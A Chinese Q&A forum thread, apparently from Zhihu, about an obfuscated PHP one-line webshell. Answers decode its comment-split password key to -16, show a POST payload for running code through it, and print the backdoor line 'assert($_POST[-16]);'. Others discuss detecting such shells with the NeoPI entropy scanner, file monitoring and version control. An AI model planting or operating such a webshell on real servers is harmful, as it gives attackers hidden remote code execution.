一個有意思的 PHP 一句話後門,怎麼破?
看到一個有意思的php一句話:
原作者在做免殺時把密碼值也拆了,導致[ ]中密碼無論是/*-/*-*/0/*-/*-*/-/*-/*-*/11/*-/*-*/-/*-/*-*/5/*-/*-*/還是0-11-5都無法連接(菜刀要先把主資料庫對應欄位文本長度從原50更改到80,否則會異常退出),嘗試抓包分析了下,無解,想請問各位牛,怎麼破?又或者根本無法破,原因何在?
&
我覺得題主應該是問的密碼是多少吧,這個一句話後面注釋全部去掉之後,POST數組的key其實是一個算術運算
0-11-5
最終結果是-16
你可以post數據如下:-16=phpinfo();
就知道了。
另外,NeoPI查殺腳本木馬,我不認為是一個很好的方式,腳本後門在原本的文件里,加個邏輯漏洞,或者加個寫文件等等函數之類的他完全無力,尋找加密編碼的腳本還不錯。
查殺腳本木馬的話drops有篇文章,可以看一下:
"一句話"的藝術——簡單的編碼和變形繞過檢測以及:常見 Webshell 的檢測方法及檢測繞過思路這一點也談不上新奇,也談不上是我見過的最變態的PHP後門。
如果有伺服器許可權,可以掃描文件的話(作為管理員沒道理不行吧?),這類後門會被一類使用統計方法(計算包括信息熵、Index of Coincidence在內的一系列統計指標)的檢測工具直接干爆。給一個很簡單的例子:Neohapsis/NeoPI · GitHub
使用這個Python腳本檢查這個文件:[[ Average IC for Search ]]
0.139386719155
[[ Top 10 lowest IC files ]]
0.1394 ./test/test.php
[[ Top 10 entropic files for a given search ]]
3.5443 ./test/test.php
[[ Top 10 longest word files ]]
60 ./test/test.php
[[ Top 10 signature match counts ]]
0 ./test/test.php
[[ Top 10 SUPER-signature match counts (These are usually bad!) ]]
0 ./test/test.php
[[ Top cumulative ranked files ]]
5 ./test/test.php
單獨掃描可能看不出什麼,但是把它放在一個PHP框架里,你就會發現這個文件肯定位列前幾名,尤其是entropy和IC兩個項目。
這個腳本還算比較簡單的,但已經堪用了,再配合上一些基於指紋資料庫的掃描器,一般很難有漏網之魚了。我相信,更強大一些的掃描器都是會綜合使用資料庫和統計方法的。
最後,更可靠的方法當然還是文件監視和版本控制了。
&assert($_POST[-16]);?&>
/*-/*-*/ 注釋 :)
可以關注這裡:那些強悍的PHP一句話後門
僅僅是字元拆分,躲避關鍵函數名查殺。
推薦閱讀:
※黑客們會帶徒弟嗎?
※有哪些靠譜的伺服器安全軟體?
※有哪些值得推薦的有關信息安全的網站?
※GeekPwn 2017 有哪些看點?
※如何在網路安全這條路上走得更遠?